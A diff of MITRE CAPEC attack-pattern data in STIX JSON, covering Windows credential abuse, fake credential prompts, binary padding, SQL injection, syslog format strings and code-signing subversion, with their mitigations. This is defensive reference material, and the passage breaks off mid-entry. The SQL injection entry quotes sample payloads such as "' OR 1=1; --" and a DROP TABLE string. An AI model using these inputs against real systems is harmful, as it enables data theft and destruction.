"x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--e8864ef8-634a-4587-9b9f-7dffc85bb827", + "source_ref": "course-of-action--dd7827a3-05d8-4f6b-a821-c18bae857754", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--c6950a75-d731-468c-a735-bd8659dd2c6c", + "source_ref": "course-of-action--ab6c4df3-7bf9-4fdd-8c2a-9055c0aea441", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--755bb5ac-2eee-4e54-9864-92812666120c" + }, + { + "name": "Use of Known Windows Credentials", + "description": "An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows domain credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the domain, under the guise of an authenticated user or service. Attacks leveraging trusted Windows credentials typically result in the adversary laterally moving within the local Windows network, since users are often allowed to login to systems/applications within the domain using their Windows domain password. This domain authentication can occur directly (user typing in their password or PIN) or via Single Sign-On (SSO) or cloud-based authentication, which often don't verify the authenticity of the user's input. Known credentials are usually obtained by an adversary via a system/application breach and/or by purchasing dumps of credentials on the dark web. These credentials may be further gleaned via exposed configuration and properties files that contain system passwords, database connection strings, and other sensitive data. Utilizing known Windows credentials, an adversary can obtain sensitive data from administrator shares, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more. Ultimately, successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/653.html", + "external_id": "CAPEC-653" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/522.html", + "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Dan Goodin, Attackers can use Zoom to steal users\u2019 Windows credentials with no warning, 2020--04---01, Ars Technica", + "url": "https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/", + "external_id": "REF-575" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Jeff Warren, How Attackers are Stealing Your Credentials with Mimikatz, 2017--07---11, STEALTHbits Technologies, Inc.", + "url": "https://blog.stealthbits.com/how-attackers-are-stealing-your-credentials-with-mimikatz/", + "external_id": "REF-576" + } + ], + "x_capec_likelihood_of_attack": "High", + "x_capec_typical_severity": "High", + "x_capec_prerequisites": [ + "The system/application is connected to the Windows domain.", + "The system/application uses one factor password-based authentication, SSO, and/or cloud-based authentication.", + "The system/application does not have a sound password policy that is being enforced.", + "The system/application does not implement an effective password throttling mechanism.", + "The adversary possesses a list of known Windows user accounts and corresponding passwords that may exist on the target." + ], + "x_capec_skills_required": { + "Low": "Once an adversary obtains a known Windows credential, leveraging it is trivial." + }, + "x_capec_resources_required": [ + "A list of known Windows credentials for the targeted domain.", + "A custom script that leverages a Windows credential list to launch an attack." + ], + "x_capec_consequences": { + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_abstraction": "Standard", + "x_capec_example_instances": [ + "Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credentials from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net-NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]", + "Mimikatz, a post-exploitation Windows credential harvester, can be used to gather and exploit Windows credentials. This malware has been used in several known cyberattacks, such as the Petya Ransomeware attacks. [REF-576]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known Windows credentials: The adversary must obtain known Windows credentials in order to access the target system, application, or service within the domain.

    2. Techniques
    An adversary purchases breached Windows username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal Windows credentials as they are transmitted.
    An adversary gains access to a Windows domain system/files and exfiltrates Windows password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded Windows credentials.

Experiment

  1. Attempt domain authentication: Try each Windows credential against various systems, applications, and services within the domain until the target grants access.

    2. Techniques
    Manually or automatically enter each credential through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain

  2. Spoofing: Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within domain systems or applications.

", + "x_capec_status": "Draft", + "x_capec_version": "3.3", + "type": "attack-pattern", + "id": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--2d7246bf-321a-46a5-9e3c-9521a6d7c59c", + "source_ref": "course-of-action--b8f274c3-95ed-4968-afdc-6a8a87a6fb19", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--0808991b-23f3-4e8e-84e2-910ad1d7c053", + "source_ref": "course-of-action--93ed0e66-1693-44b2-b416-bee8db1ad4c2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--30fc8e66-ac77-4700-963e-64a29973924f", + "source_ref": "course-of-action--f17a2576-00f1-49a8-b554-5ec205ca54a2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--a406676c-8452-46d2-a72c-11463c53b3cc", + "source_ref": "course-of-action--7c813ade-2f68-46ad-b0ff-b3aa1d6f16d0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--32a275d9-4766-40b2-ae6b-7307d384bf7b", + "source_ref": "course-of-action--8e39cc3a-64c4-488e-84a3-e2613bdb1254", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--f52fb187-a070-476a-914d-5c9f061558d1", + "source_ref": "course-of-action--9d97f821-8b04-46bf-a725-33db09a739da", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--c81c0b14-89ac-4328-87fc-e5471e7edfc7", + "source_ref": "course-of-action--36387909-c46a-4d0f-8954-bbc4c954c9a9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--37212961-3d05-427a-ada9-72ac4ca5adca", + "source_ref": "course-of-action--ab6c4df3-7bf9-4fdd-8c2a-9055c0aea441", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2618d0a4-06d0-4bde-8271-2df61ed8297a" + }, + { + "name": "Credential Prompt Impersonation", + "description": "An adversary, through a previously installed malicious application, impersonates a credential prompt in an attempt to steal a user's credentials. The adversary may monitor the task list maintained by the operating system and wait for a specific legitimate credential prompt to become active. Once the prompt is detected, the adversary launches a new credential prompt in the foreground that mimics the user interface of the legitimate credential prompt. At this point, the user thinks that they are interacting with the legitimate credential prompt, but instead they are interacting with the malicious credential prompt. A second approach involves the adversary impersonating an unexpected credential prompt, but one that may often be spawned by legitimate background processes. For example, an adversary may randomly impersonate a system credential prompt, implying that a background process or commonly used application (e.g., email reader) requires authentication for some purpose. The user, believing they are interacting with a legitimate credential prompt, enters their credentials which the adversary then leverages for nefarious purposes. The ultimate goal of this attack is to obtain sensitive information (e.g., credentials) from the user.", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/654.html", + "external_id": "CAPEC-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1021.html", + "external_id": "CWE-1021" + } + ], + "x_capec_likelihood_of_attack": "Medium", + "x_capec_typical_severity": "High", + "x_capec_prerequisites": [ + "The adversary must already have access to the target system via some means.", + "A legitimate task must exist that an adversary can impersonate to glean credentials." + ], + "x_capec_skills_required": { + "Low": "Once an adversary has gained access to the target system, impersonating a credential prompt is not difficult." + }, + "x_capec_resources_required": [ + "Malware or some other means to initially comprise the target system.", + "Additional malware to impersonate a legitimate credential prompt." + ], + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ] + }, + "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "An adversary monitors the system task list for Microsoft Outlook in an attempt to determine when the application may prompt the user to enter their credentials to view encrypted email. Once the task is executed, the adversary impersonates the credential prompt to obtain the user's Microsoft Outlook encryption credentials. These credentials can then be leveraged by the adversary to read a user's encrypted email.", + "An adversary randomly prompts a user to enter their system credentials, tricking the user into believing that a background process requires the credentials to function. The adversary can then use these gleaned credentials to execute additional attacks or obtain data." + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine suitable tasks to exploit: Determine what tasks exist on the target system that may result in a user providing their credentials.

    2. Techniques
    Determine what tasks prompt a user for their credentials.

Exploit

  1. Impersonate Task: Impersonate a legitimate task, either expected or unexpected, in an attempt to gain user credentials.

    2. Techniques
    Prompt a user for their credentials, while making the user believe the credential request is legitimate.
", + "x_capec_status": "Stable", + "x_capec_version": "3.3", + "type": "attack-pattern", + "id": "attack-pattern--f7a0e7bd-d24a-4390-b365-9e71f22e4e06" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", + "id": "relationship--941eef6d-7520-4cb3-97db-3e53b6e58b9d", + "source_ref": "course-of-action--c40d7d86-ab26-4e1a-9b9b-e3496f0f36fc", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f7a0e7bd-d24a-4390-b365-9e71f22e4e06" + }, + { + "name": "Avoid Security Tool Identification by Adding Data", + "description": "\n An adversary adds data to a file to increase the file size beyond what security tools are capable of handling in an attempt to mask their actions.\n In addition to this, adding data to a file also changes the file's hash, frustrating security tools that look for known bad files by their hash.\n ", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/655.html", + "external_id": "CAPEC-655" + }, + { + "source_name": "ATTACK", + "description": "Obfuscated Files or Information:Binary padding", + "url": "https://attack.mitre.org/wiki/Technique/T1027/001", + "external_id": "T1027.001" + } + ], + "x_capec_likelihood_of_attack": "High", + "x_capec_typical_severity": "High", + "x_capec_consequences": { + "Accountability": [ + "Hide Activities", + "Bypass Protection Mechanism" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_abstraction": "Detailed", + "x_capec_example_instances": [ + "\n Adding data to change the checksum of a file and can be used to avoid hash-based blacklists and static anti-virus signatures.\n " + ], + "x_capec_status": "Draft", + "x_capec_version": "3.3", + "type": "attack-pattern", + "id": "attack-pattern--cbe9fd1f-4b5d-4a3c-b20b-e49888457338" + }, + { + "id": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e", "name": "SQL Injection", "description": "This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -41050,7 +45732,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -41064,28 +45746,8 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/74.html", - "external_id": "CWE-74" - }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/20.html", - "external_id": "CWE-20" - }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/697.html", - "external_id": "CWE-697" - }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/713.html", - "external_id": "CWE-713" - }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/707.html", - "external_id": "CWE-707" + "url": "http://cwe.mitre.org/data/definitions/1286.html", + "external_id": "CWE-1286" } ], "x_capec_likelihood_of_attack": "High", @@ -41122,89 +45784,96 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "With PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a blacklist approach to input validation. However, because of improper blacklisting, it is possible to inject content such as \"foo'/**/UNION\" or \"foo UNION/**/\" to bypass validation and glean sensitive information from the database. See also: CVE-2006-5525" + "With PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a denylist approach to input validation. However, because of an improper denylist, it is possible to inject content such as \"foo'/**/UNION\" or \"foo UNION/**/\" to bypass validation and glean sensitive information from the database. See also: CVE-2006-5525" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey application: The attacker first takes an inventory of the functionality exposed by the application.

    2. Techniques
    Spider web sites for all available links
    Sniff network communications with application using a utility such as WireShark.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject characters that have special meaning in SQL (such as a single quote character, a double quote character, two hyphens, a parenthesis, etc.). The goal is to create a SQL query with an invalid syntax.

    2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.

  2. Experiment with SQL Injection vulnerabilities: After determining that a given input is vulnerable to SQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, or to modify or delete information in the database.

    3. Techniques
    Use public resources such as \"SQL Injection Cheat Sheet\" at http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/, and try different approaches for adding logic to SQL queries.
    Add logic to query, and use detailed error messages from the server to debug the query. For example, if adding a single quote to a query causes an error message, try : \"' OR 1=1; --\", or something else that would syntactically complete a hypothesized query. Iteratively refine the query.
    Use \"Blind SQL Injection\" techniques to extract information about the database schema.
    If a denial of service attack is the goal, try stacking queries. This does not work on all platforms (most notably, it does not work on Oracle or MySQL). Examples of inputs to try include: \"'; DROP TABLE SYSOBJECTS; --\" and \"'); DROP TABLE SYSOBJECTS; --\". These particular queries will likely not work because the SYSOBJECTS table is generally protected.

Exploit

  1. Exploit SQL Injection vulnerability: After refining and adding various logic to SQL queries, craft and execute the underlying SQL query that will be used to attack the target system. The goal is to reveal, modify, and/or delete database data, using the knowledge obtained in the previous step. This could entail crafting and executing multiple SQL queries if a denial of service attack is the intent.

    2. Techniques
    Craft and Execute underlying SQL query
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--07cbed26-8c96-41e6-a239-7be587a38673", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-66-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear.", - "type": "course-of-action", - "id": "course-of-action--07cbed26-8c96-41e6-a239-7be587a38673" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--a93f8f1b-9607-4383-9b6f-7be3de09fc48", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a93f8f1b-9607-4383-9b6f-7be3de09fc48", "source_ref": "course-of-action--07cbed26-8c96-41e6-a239-7be587a38673", "relationship_type": "mitigates", "target_ref": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e" }, { + "id": "course-of-action--3b3ecd49-a48b-4908-b854-071ac6b15f1c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-66-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use of parameterized queries or stored procedures - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails. Note that SQL Injection is possible even in the presence of stored procedures if the eventual query is constructed dynamically.", - "type": "course-of-action", - "id": "course-of-action--3b3ecd49-a48b-4908-b854-071ac6b15f1c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5fc50ca5-d17c-4f39-96d4-795ef6ac0bb1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5fc50ca5-d17c-4f39-96d4-795ef6ac0bb1", "source_ref": "course-of-action--3b3ecd49-a48b-4908-b854-071ac6b15f1c", "relationship_type": "mitigates", "target_ref": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e" }, { + "id": "course-of-action--618c2d85-ca76-40a0-a019-0ac9ba1b0989", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-66-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application.", - "type": "course-of-action", - "id": "course-of-action--618c2d85-ca76-40a0-a019-0ac9ba1b0989" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--df5e28f8-bb74-4412-960d-bef6cec27c9f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--df5e28f8-bb74-4412-960d-bef6cec27c9f", "source_ref": "course-of-action--618c2d85-ca76-40a0-a019-0ac9ba1b0989", "relationship_type": "mitigates", "target_ref": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e" }, { + "id": "attack-pattern--4cd18074-15c1-4206-8391-115685669623", "name": "String Format Overflow in syslog()", "description": "This attack targets the format string vulnerabilities in the syslog() function. An attacker would typically inject malicious input in the format string parameter of the syslog function. This is a common problem, and many public vulnerabilities and associated exploits have been posted.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -41212,7 +45881,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -41308,37 +45977,40 @@ "x_capec_example_instances": [ "Format string vulnerability in TraceEvent function for ntop before 2.1 allows remote attackers to execute arbitrary code by causing format strings to be injected into calls to the syslog function, via (1) an HTTP GET request, (2) a user name in HTTP authentication, or (3) a password in HTTP authentication. See also: CVE-2002-0412" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker finds that they can inject data to the format string parameter of Syslog().

Exploit

  1. The attacker craft a malicious input and inject it into the format string parameter. From now on, the attacker can execute arbitrary code and do more damage.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4cd18074-15c1-4206-8391-115685669623" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0702663e-005e-40fa-90d8-44404b86fd2c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-67-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n The code should be reviewed for misuse of the Syslog function call. Manual or automated code review can be used. The reviewer needs to ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, do not use the %n operator in format strings. The following code shows a correct usage of Syslog():\n syslog(LOG_ERR, \"%s\", cmdBuf);\n The following code shows a vulnerable usage of Syslog():\n syslog(LOG_ERR, cmdBuf);\n // the buffer cmdBuff is taking user supplied data.\n \n \n ", - "type": "course-of-action", - "id": "course-of-action--0702663e-005e-40fa-90d8-44404b86fd2c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2f4b9e8c-8ee5-47f8-93fb-6be4e4d9b54f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2f4b9e8c-8ee5-47f8-93fb-6be4e4d9b54f", "source_ref": "course-of-action--0702663e-005e-40fa-90d8-44404b86fd2c", "relationship_type": "mitigates", "target_ref": "attack-pattern--4cd18074-15c1-4206-8391-115685669623" }, { + "id": "attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b", "name": "Subvert Code-signing Facilities", "description": "Many languages use code signing facilities to vouch for code's identity and to thus tie code to its assigned privileges within an environment. Subverting this mechanism can be instrumental in an attacker escalating privilege. Any means of subverting the way that a virtual machine enforces code signing classifies for this style of attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -41346,7 +46018,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -41395,31 +46067,32 @@ "The ability to load unsigned code into the kernel of earlier versions of Vista and bypass integrity checking is an example of such subversion. In the proof-of-concept, it is possible to bypass the signature-checking mechanism Vista uses to load device drivers." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--4f33facb-34c1-4eab-9b1f-e31ba84713d2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-68-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "A given code signing scheme may be fallible due to improper use of cryptography. Developers must never roll out their own cryptography, nor should existing primitives be modified or ignored.", - "type": "course-of-action", - "id": "course-of-action--4f33facb-34c1-4eab-9b1f-e31ba84713d2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": 